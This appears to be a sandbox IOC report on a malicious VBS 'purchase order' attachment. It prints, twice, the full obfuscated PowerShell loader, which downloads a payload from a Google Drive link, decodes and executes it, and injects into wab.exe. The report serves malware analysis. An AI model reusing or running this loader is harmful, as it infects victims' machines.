IOC Report
Texas_Tool_Purchase_Order#T18834-1.vbs

Texas_Tool_Purchase_Order#T18834-1.vbs

ASCII text, with very long lines (360), with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Texas_Tool_Purchase_Order#T18834-1.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Allentown = 1;$Ordknappestes='Substrin';$Ordknappestes+='g';Function Preinterceded($Veinwise){$Regnorms=$Veinwise.Length-$Allentown;For($Jargonium=5; $Jargonium -lt $Regnorms; $Jargonium+=(6)){$Woodener+=$Veinwise.$Ordknappestes.Invoke($Jargonium, $Allentown);}$Woodener;}function Infatuatedly($Beneficeforestillingernes191){. ($subcutaneous) ($Beneficeforestillingernes191);}$Indknebnes=Preinterceded 'HyperM Trveo givez StraiVejr.lOvervl CyanaGarde/ Myto5b.lli.Skved0Musik Appro(AcerrW,argaiThoseneskadd.lyveoUn,epwMahogsForsm MidtoNUnpu.TAllus Rveja1Share0Tales.Ove,f0Sp yd;Packw Has.WUprodiDecimnSemis6Upda.4Vaude;.saru J mcrxTwinn6 Hi c4 ph l;,assa FiberAlabavOpfin:Optag1 Tele2Under1Hlqnu. Ant.0Uni c) Sner ,rwinG.lapseMonercWightk Trano Unhe/Clime2Bibri0Westm1Folke0Taabe0Indsk1 Phle0Derhj1Svrme UdligFTimeli Philr Sa.deBla,sfJuvaloVar gx S,oe/Uegen1Syda.2Thurl1Under.Tra.y0 Slet ';$Sevenbommens=Preinterceded 'indtrU.ecansreilae DiplrRaphi-DeltaAB,ckbgSkak e ,ikrnCodswtIncom ';$Socionoms=Preinterceded 'dativhSole tBlaa.t.otlypU ions Pr i:Trima/Uninf/PeltidBiscarSolsii,ecapvBankaeCalpa.,ortagAktieoForkaoS.detgRepublUdenreFor l.Unac,cMash oBygnimByr e/Rud,sule escUng.r?Syncre Ko sxSids.p.rempoInputr L,lit Isop= SansdEnsidoMindewFilipn Ob.llKlyngoEddika,renddDoven&NaturiK,rofdTro t= Samf1 UnpaYCollieThebae Ph njPref.v LiteOT.grygVandrcCoequ5 NasiTTiresNAnskuFComplf MarmdI,jur9erind1 Allo7.ladd6 EjerEMisseDWater_Taa,t0DyspeKBlazysRapnd8FoderYCoteh3ChaufySynthn NediRDatakMKommeW Te n ';$Anskaffelsessummerne=Preinterceded 'Rumne>Chann ';$subcutaneous=Preinterceded 'RouteiFor,beLysstx.akey ';$Mesopodiale='Krnikens';Infatuatedly (Preinterceded 'Her.uS,ndebeStatutSt ej-geoaeCH.lakoL.llenTenodtReakte Apo,nSummetEr mi Adhsi-HomelPSkyggaSimontB,bonh lles formaTO duc:.ream\StigmDChagorDormiyStyrtaScrufsDi.re. J,lltS.warx ngsetinds, Su.p-F ekvVAscogaultralSkoleuDag,oe,nsgn Vandh$EtherME tadeYeomasTrilloSrettpChiliomora dUptubiByt ea.virkl.uinye Tros; Fin, ');Infatuatedly (Preinterceded ' Ae iigyrinfRadze Bjden(PrevotUnreneT.ggespatibtFratr-Necrop EvenaRo.entKabyshOm.in Bo.tgTSuper:Fa,ri\ richD Trior,rdskyBolsmaPes,isArchi.RedbrtDefekxStryctSkn,e) nte{ CosteDoradx,oopri I,rat Farl}Co.se;Diakr ');$Knscelle = Preinterceded '.nvesePragtcSnknihProvioAnker Vnin%Sor,eaHovedpC,untpCountdSkopua AniktSamgiaCuck %leaka\Man,mMS peryEstrexHumblopostcgCardia espasUnde,t ForseS iklrPhon .,ngseOKindepCe.trvFolke Hypot&Pseud&Misco Fo,tyeColoucVigtihGstevo Spor alm$Udg.a ';Infatuatedly (Preinterceded 'G.lli$ NavlgYderllGalvaoCaptibomsteaCoryzlEvigt: sansB DiakoStilllProletSkovfa SkrinRise,tllebr=Dis b( Tor,c AtmomManifdGents Formi/.adjacSak.n Saf,$Stat.KFrondnIssensEnl rcSte,ie DronlBe kelAntikeN dkm)In,al ');Infatuatedly (Preinterceded 'Slide$CentrgTraktlN,ncooK,ssabCovenaFork,lSpyds: FretAUn,lefAktiot.mbyga orval.evrdeSaftekKlokkaqu drlDobb.eLed.an.nised.chize ranrNonchnAmbide Miscs Ox,p= apis$ GudeSS,cleoSelvsc NunqiMa,heoTuf inPreinoPighemUnapps trkm.Fe ies,rydepUnm,sl StjfiUskoltmicro(Link $ KoncARuskunSrg.tsJibbokUnquaaCloudfProduf BesieBjarkl L stsPreeleRecipsHlifss BrneuAflevm VirtmSuggeeStellrOvicanAri neLvfal)Oxidi ');$Socionoms=$Aftalekalendernes[0];Infatuatedly (Preinterceded 'Eryth$F ivigIrritlS,illoP otobTuberaplankl Buc,:ChuzwhKedsoiBile t .isctDegage.ysteb St.la pmar .enenFortr= GuatNaposteRestpwSemia-E,terOKino,bPerlajOm edeStorhcdrawltPyope KnivsSNorfoyKapunsNon otIntegeAphi mF ran.SalpeNHovede dr.otSpace.Me,neWsyndieNonsebDiamaC L.scl I,veiPolyseS ilonAnusitEgafa ');Infatuatedly (Preinterceded ' Poly$UmttehLymphi Un.stSulphtUptowe Darwb .ortaBrincrUdestn.rogm.ProtaHOppreeunhinacha rd obs.eBruttr Nonvs Clea[Hool.$RandpS Overe .ccev OplaeHop,enHy rib,preyoRup cmEx.edmCommee TiptnfoliasDomin]Misen=Prefe$SangeI Fl,rnTankedCowtokEthnonFishbeMis ubM,llenRebelecemens Forh ');$Istandsat=Preinterceded 'Underhformaiuud rtKretjt Slriescincbp,ckeaFuldtrAn.canSubdi.Gono.DFraenoSorrewWildwn mganl lopoVa,slaBrei dReconFMisbiiCond,l ormoeRheol(Idio.$StarlSUnin.oudbrncsp seiSa,anoLuftanVandkoOverlmKalifsSe,ti,Conka$MalleKSmm,noAlpehgHaande ChurcVe.sehUngovoRettekRegiso Al.ilHi loaKanond Fod.e disls.ugle) Katt ';$Istandsat=$Boltant[1]+$Istandsat;$Kogechokolades=$Boltant[0];Infatuatedly (Preinterceded 'Pyrag$ Deklgsubf,lPar,ooBortlb Tilta omlalUncau: St.eKUr.erafor utCh,vyaFlod l IndfoAffalg Dem,sOo.enaA,atrlAgni,gAmtsr=Syvaa( flleTHyrenerabars Di otIn ra- Co.rP ,estaMassatProtohFirol Tvrr$Arm,nKMi pro AecigOverteOstl,c GynkhMic ro,ntiakPr.suota.telToleraRyatpd u.emeThorosDomme)Overv ');while (!$Katalogsalg) {Infatuatedly (Preinterceded 'Story$Wi,teg.lirtlPyelioYomasbKlappaKagenl,orfa:Ba isS The.ydekasdFixetsembe,yBegl.dAktivsKundetTi.sm=S.ele$PyrogtSy,efrDo,sauAuranePlati ') ;Infatuatedly $Istandsat;Infatuatedly (Preinterceded 'BenziS,andjtStorsaRehabrInerttTile.-SukkeSFil.plkvanteElgkeePo.yapMe al vangu4Unall ');Infatuatedly (Preinterceded 'tkk.l$Halvfg achilPu.esoM.nasbKultuaC,rkulPromo: CymrKLascaaHona tConsaa UdkilBruseohemidgChelos rangaCopollVitisgMelle=ambi ( InteTLuri,eContesCensotUnp.r-Un,erP ndeaFilmet OpsphBl,es Inte$ OverKErklroballagHjbaaeDissecGealah s enoEskalkCrownoPreinl Lysba Sar.d T icen,acis Frot)J,gte ') ;Infatuatedly (Preinterceded 'Besid$Im.erg Scoulma.iroAftrybNonadakontrl,rand:UlydiUKorsfnJere ipl,venE.sistNrbilePsychrRetirrA satuMetr pA tentOf.eniBallobEgenalOver,eBaand=Antep$U,gengVeikklCockhoRkefjbMi,roaVei ul Gylp:S,ineA ConsnImpa.pFinanrEtkamiBa tisBenzieFatal+Udlb.+,redb%Per,b$MisapAI dtafEnebrtTabstaRgerslMethaeFejlakSte.ma Conel undeeTorr,n Ob,edGaroteDup,rrKon.in NabieInfors back.Tra tcNy,phoNo,couBr.denPh.lut Deni ') ;$Socionoms=$Aftalekalendernes[$Uninterruptible];}Infatuatedly (Preinterceded 'hoved$ StypgSlutklFravro UncobbyzanaDoli l Mort:HorizUTeleonLydmsrSynsbem,rsis PrenoGr,vcu Semir BibecUpa re WrinfViktuu,redelAmbo. anap=perso MulatGph loeKbst,tShrin-OverrCNondio,adianRo bet,illae SelvnKonomtub hv F.dig$Excl.KAkneeoAugusgBilleeOpr.acKrokehInstaoMistnk SomeoO.brylRevisaFejltdInspeeDuanesSt.yg ');Infatuatedly (Preinterceded 'Sove $.ertigIdol,l Tre o Colob Banka Stl l flos:PyramSCr,bct SpadaN rromSad.ehSammeeOpvejrPyro rTilreeRddikr koeksCompl Brugb=Eriks R.lat[ S,anSChoriyPyrrhsPreamtPri,tevocatmSkriv. Gad,Cw.zaroBemynnB,shhv urlePrsidr VinftStile]Nonau:Sogn :AttacFAnonyrReni.oBefalm emonBTitiaaHedersLicheeTrmlk6hyalo4poverSPactotRumforUnderiLuskyn Roueg Nitr(Ise t$,agsrUUforan SkamrI,nateBlad,s anjaoContruNeoplrJalurc Mi.eeQuartfforejuTril,l,rigr)Semin ');Infatuatedly (Preinterceded 'Celt.$AntisgRewaxlFjer.oKarenbU sknaValnelGnier:BogyiEJu,ilvOmsonaLikvipTummeoN lghrVengeezy.omr,lluseUng.ln ljlsdF.rtseRdby. Ind s=Smrer Re li[C nneS Fogry,eimpsVi,kotToejleGuttam Scam.Dida.TWardeeSoundxQuiputFleks.Milk EKonomnProgycmariaoDestidSkidtiUnikun Krakgblrpr]Unb m: El.n:ToryiA HavmSHakutC vetuITypifIA.dri.PromiGMattoesqueatE terS.arretnonrerrundmiRese nR,bieg Sil.(Eulo.$FootsSR,erbt Tryka Sprom Jagthinkore Inder nforTh.naeOverfremanes Zion).otes ');Infatuatedly (Preinterceded 'I.per$ForflgGesnelBrndboReje bSkridaU,canl Arki:P.andR CodeeindbevDeploi FunglFlirti ,eminHyperg Cont=defin$EkspoEOv.rvv FlagaSp,rrpFer,io SamlrCrysteS.ottr,pnoeeKlstrnVersfd,orddeTva,g.DiddesMikroufigetbLrerssSulfotForskrK,lvei Mul.ngeorggOverr( Tyro2Extri9Balne5halva9Pe.cu7Hoved3Udspr,tilst2 Mill8Foder4De,ti4Flyka7Joker)Altin ');Infatuatedly $Reviling;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Allentown = 1;$Ordknappestes='Substrin';$Ordknappestes+='g';Function Preinterceded($Veinwise){$Regnorms=$Veinwise.Length-$Allentown;For($Jargonium=5; $Jargonium -lt $Regnorms; $Jargonium+=(6)){$Woodener+=$Veinwise.$Ordknappestes.Invoke($Jargonium, $Allentown);}$Woodener;}function Infatuatedly($Beneficeforestillingernes191){. ($subcutaneous) ($Beneficeforestillingernes191);}$Indknebnes=Preinterceded 'HyperM Trveo givez StraiVejr.lOvervl CyanaGarde/ Myto5b.lli.Skved0Musik Appro(AcerrW,argaiThoseneskadd.lyveoUn,epwMahogsForsm MidtoNUnpu.TAllus Rveja1Share0Tales.Ove,f0Sp yd;Packw Has.WUprodiDecimnSemis6Upda.4Vaude;.saru J mcrxTwinn6 Hi c4 ph l;,assa FiberAlabavOpfin:Optag1 Tele2Under1Hlqnu. Ant.0Uni c) Sner ,rwinG.lapseMonercWightk Trano Unhe/Clime2Bibri0Westm1Folke0Taabe0Indsk1 Phle0Derhj1Svrme UdligFTimeli Philr Sa.deBla,sfJuvaloVar gx S,oe/Uegen1Syda.2Thurl1Under.Tra.y0 Slet ';$Sevenbommens=Preinterceded 'indtrU.ecansreilae DiplrRaphi-DeltaAB,ckbgSkak e ,ikrnCodswtIncom ';$Socionoms=Preinterceded 'dativhSole tBlaa.t.otlypU ions Pr i:Trima/Uninf/PeltidBiscarSolsii,ecapvBankaeCalpa.,ortagAktieoForkaoS.detgRepublUdenreFor l.Unac,cMash oBygnimByr e/Rud,sule escUng.r?Syncre Ko sxSids.p.rempoInputr L,lit Isop= SansdEnsidoMindewFilipn Ob.llKlyngoEddika,renddDoven&NaturiK,rofdTro t= Samf1 UnpaYCollieThebae Ph njPref.v LiteOT.grygVandrcCoequ5 NasiTTiresNAnskuFComplf MarmdI,jur9erind1 Allo7.ladd6 EjerEMisseDWater_Taa,t0DyspeKBlazysRapnd8FoderYCoteh3ChaufySynthn NediRDatakMKommeW Te n ';$Anskaffelsessummerne=Preinterceded 'Rumne>Chann ';$subcutaneous=Preinterceded 'RouteiFor,beLysstx.akey ';$Mesopodiale='Krnikens';Infatuatedly (Preinterceded 'Her.uS,ndebeStatutSt ej-geoaeCH.lakoL.llenTenodtReakte Apo,nSummetEr mi Adhsi-HomelPSkyggaSimontB,bonh lles formaTO duc:.ream\StigmDChagorDormiyStyrtaScrufsDi.re. J,lltS.warx ngsetinds, Su.p-F ekvVAscogaultralSkoleuDag,oe,nsgn Vandh$EtherME tadeYeomasTrilloSrettpChiliomora dUptubiByt ea.virkl.uinye Tros; Fin, ');Infatuatedly (Preinterceded ' Ae iigyrinfRadze Bjden(PrevotUnreneT.ggespatibtFratr-Necrop EvenaRo.entKabyshOm.in Bo.tgTSuper:Fa,ri\ richD Trior,rdskyBolsmaPes,isArchi.RedbrtDefekxStryctSkn,e) nte{ CosteDoradx,oopri I,rat Farl}Co.se;Diakr ');$Knscelle = Preinterceded '.nvesePragtcSnknihProvioAnker Vnin%Sor,eaHovedpC,untpCountdSkopua AniktSamgiaCuck %leaka\Man,mMS peryEstrexHumblopostcgCardia espasUnde,t ForseS iklrPhon .,ngseOKindepCe.trvFolke Hypot&Pseud&Misco Fo,tyeColoucVigtihGstevo Spor alm$Udg.a ';Infatuatedly (Preinterceded 'G.lli$ NavlgYderllGalvaoCaptibomsteaCoryzlEvigt: sansB DiakoStilllProletSkovfa SkrinRise,tllebr=Dis b( Tor,c AtmomManifdGents Formi/.adjacSak.n Saf,$Stat.KFrondnIssensEnl rcSte,ie DronlBe kelAntikeN dkm)In,al ');Infatuatedly (Preinterceded 'Slide$CentrgTraktlN,ncooK,ssabCovenaFork,lSpyds: FretAUn,lefAktiot.mbyga orval.evrdeSaftekKlokkaqu drlDobb.eLed.an.nised.chize ranrNonchnAmbide Miscs Ox,p= apis$ GudeSS,cleoSelvsc NunqiMa,heoTuf inPreinoPighemUnapps trkm.Fe ies,rydepUnm,sl StjfiUskoltmicro(Link $ KoncARuskunSrg.tsJibbokUnquaaCloudfProduf BesieBjarkl L stsPreeleRecipsHlifss BrneuAflevm VirtmSuggeeStellrOvicanAri neLvfal)Oxidi ');$Socionoms=$Aftalekalendernes[0];Infatuatedly (Preinterceded 'Eryth$F ivigIrritlS,illoP otobTuberaplankl Buc,:ChuzwhKedsoiBile t .isctDegage.ysteb St.la pmar .enenFortr= GuatNaposteRestpwSemia-E,terOKino,bPerlajOm edeStorhcdrawltPyope KnivsSNorfoyKapunsNon otIntegeAphi mF ran.SalpeNHovede dr.otSpace.Me,neWsyndieNonsebDiamaC L.scl I,veiPolyseS ilonAnusitEgafa ');Infatuatedly (Preinterceded ' Poly$UmttehLymphi Un.stSulphtUptowe Darwb .ortaBrincrUdestn.rogm.ProtaHOppreeunhinacha rd obs.eBruttr Nonvs Clea[Hool.$RandpS Overe .ccev OplaeHop,enHy rib,preyoRup cmEx.edmCommee TiptnfoliasDomin]Misen=Prefe$SangeI Fl,rnTankedCowtokEthnonFishbeMis ubM,llenRebelecemens Forh ');$Istandsat=Preinterceded 'Underhformaiuud rtKretjt Slriescincbp,ckeaFuldtrAn.canSubdi.Gono.DFraenoSorrewWildwn mganl lopoVa,slaBrei dReconFMisbiiCond,l ormoeRheol(Idio.$StarlSUnin.oudbrncsp seiSa,anoLuftanVandkoOverlmKalifsSe,ti,Conka$MalleKSmm,noAlpehgHaande ChurcVe.sehUngovoRettekRegiso Al.ilHi loaKanond Fod.e disls.ugle) Katt ';$Istandsat=$Boltant[1]+$Istandsat;$Kogechokolades=$Boltant[0];Infatuatedly (Preinterceded 'Pyrag$ Deklgsubf,lPar,ooBortlb Tilta omlalUncau: St.eKUr.erafor utCh,vyaFlod l IndfoAffalg Dem,sOo.enaA,atrlAgni,gAmtsr=Syvaa( flleTHyrenerabars Di otIn ra- Co.rP ,estaMassatProtohFirol Tvrr$Arm,nKMi pro AecigOverteOstl,c GynkhMic ro,ntiakPr.suota.telToleraRyatpd u.emeThorosDomme)Overv ');while (!$Katalogsalg) {Infatuatedly (Preinterceded 'Story$Wi,teg.lirtlPyelioYomasbKlappaKagenl,orfa:Ba isS The.ydekasdFixetsembe,yBegl.dAktivsKundetTi.sm=S.ele$PyrogtSy,efrDo,sauAuranePlati ') ;Infatuatedly $Istandsat;Infatuatedly (Preinterceded 'BenziS,andjtStorsaRehabrInerttTile.-SukkeSFil.plkvanteElgkeePo.yapMe al vangu4Unall ');Infatuatedly (Preinterceded 'tkk.l$Halvfg achilPu.esoM.nasbKultuaC,rkulPromo: CymrKLascaaHona tConsaa UdkilBruseohemidgChelos rangaCopollVitisgMelle=ambi ( InteTLuri,eContesCensotUnp.r-Un,erP ndeaFilmet OpsphBl,es Inte$ OverKErklroballagHjbaaeDissecGealah s enoEskalkCrownoPreinl Lysba Sar.d T icen,acis Frot)J,gte ') ;Infatuatedly (Preinterceded 'Besid$Im.erg Scoulma.iroAftrybNonadakontrl,rand:UlydiUKorsfnJere ipl,venE.sistNrbilePsychrRetirrA satuMetr pA tentOf.eniBallobEgenalOver,eBaand=Antep$U,gengVeikklCockhoRkefjbMi,roaVei ul Gylp:S,ineA ConsnImpa.pFinanrEtkamiBa tisBenzieFatal+Udlb.+,redb%Per,b$MisapAI dtafEnebrtTabstaRgerslMethaeFejlakSte.ma Conel undeeTorr,n Ob,edGaroteDup,rrKon.in NabieInfors back.Tra tcNy,phoNo,couBr.denPh.lut Deni ') ;$Socionoms=$Aftalekalendernes[$Uninterruptible];}Infatuatedly (Preinterceded 'hoved$ StypgSlutklFravro UncobbyzanaDoli l Mort:HorizUTeleonLydmsrSynsbem,rsis PrenoGr,vcu Semir BibecUpa re WrinfViktuu,redelAmbo. anap=perso MulatGph loeKbst,tShrin-OverrCNondio,adianRo bet,illae SelvnKonomtub hv F.dig$Excl.KAkneeoAugusgBilleeOpr.acKrokehInstaoMistnk SomeoO.brylRevisaFejltdInspeeDuanesSt.yg ');Infatuatedly (Preinterceded 'Sove $.ertigIdol,l Tre o Colob Banka Stl l flos:PyramSCr,bct SpadaN rromSad.ehSammeeOpvejrPyro rTilreeRddikr koeksCompl Brugb=Eriks R.lat[ S,anSChoriyPyrrhsPreamtPri,tevocatmSkriv. Gad,Cw.zaroBemynnB,shhv urlePrsidr VinftStile]Nonau:Sogn :AttacFAnonyrReni.oBefalm emonBTitiaaHedersLicheeTrmlk6hyalo4poverSPactotRumforUnderiLuskyn Roueg Nitr(Ise t$,agsrUUforan SkamrI,nateBlad,s anjaoContruNeoplrJalurc Mi.eeQuartfforejuTril,l,rigr)Semin ');Infatuatedly (Preinterceded 'Celt.$AntisgRewaxlFjer.oKarenbU sknaValnelGnier:BogyiEJu,ilvOmsonaLikvipTummeoN lghrVengeezy.omr,lluseUng.ln ljlsdF.rtseRdby. Ind s=Smrer Re li[C nneS Fogry,eimpsVi,kotToejleGuttam Scam.Dida.TWardeeSoundxQuiputFleks.Milk EKonomnProgycmariaoDestidSkidtiUnikun Krakgblrpr]Unb m: El.n:ToryiA HavmSHakutC vetuITypifIA.dri.PromiGMattoesqueatE terS.arretnonrerrundmiRese nR,bieg Sil.(Eulo.$FootsSR,erbt Tryka Sprom Jagthinkore Inder nforTh.naeOverfremanes Zion).otes ');Infatuatedly (Preinterceded 'I.per$ForflgGesnelBrndboReje bSkridaU,canl Arki:P.andR CodeeindbevDeploi FunglFlirti ,eminHyperg Cont=defin$EkspoEOv.rvv FlagaSp,rrpFer,io SamlrCrysteS.ottr,pnoeeKlstrnVersfd,orddeTva,g.DiddesMikroufigetbLrerssSulfotForskrK,lvei Mul.ngeorggOverr( Tyro2Extri9Balne5halva9Pe.cu7Hoved3Udspr,tilst2 Mill8Foder4De,ti4Flyka7Joker)Altin ');Infatuatedly $Reviling;"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

http://pesterbdd.com/images/Pester.png

unknown

8930000

direct allocation

page execute and read and write

1D6D36DE000

trusted library allocation

page read and write

23987000

trusted library allocation

page read and write

C494000

direct allocation

page execute and read and write

5C82000

trusted library allocation

page read and write

23961000

trusted library allocation

page read and write